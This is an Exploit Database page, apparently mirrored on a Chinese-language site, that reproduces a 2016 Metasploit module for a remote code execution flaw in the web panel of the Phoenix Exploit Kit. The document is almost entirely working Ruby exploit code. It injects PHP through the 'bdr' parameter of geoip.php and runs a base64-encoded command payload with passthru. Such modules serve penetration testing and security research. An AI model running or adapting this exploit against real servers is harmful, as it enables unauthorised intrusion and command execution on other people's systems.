Phoenix Exploit Kit – Remote Code Execution (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2016-08-23
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40294/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'Phoenix Exploit Kit Remote Code Execution',
  'Description'=> %q{
  This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The
  Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
  presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which
  then silently installs malware.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'CrashBandicot @DosPerl', #initial discovery
  'Jay Turla <@shipcod3>', #msf module
  ],
  'References' =>
  [
  [ 'EDB', '40047' ],
  [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
  [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'Space'=> 200,
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd'
  }
  },
  'Platform' => %w{ unix win },
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
  ['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
  ],
  'DisclosureDate' => 'Jul 01 2016',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
  ],self.class)
  end
  
  def check
  test = Rex::Text.rand_text_alpha(8)
  res = http_send_command("echo #{test};")
  if res && res.body.include?(test)
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  encoded = Rex::Text.encode_base64(payload.encoded)
  http_send_command("passthru(base64_decode(\"#{encoded}\"));")
  end
  
  def http_send_command(cmd)
  send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path),
  'vars_get' => {
  'bdr' => cmd
  }
  })
  end
  end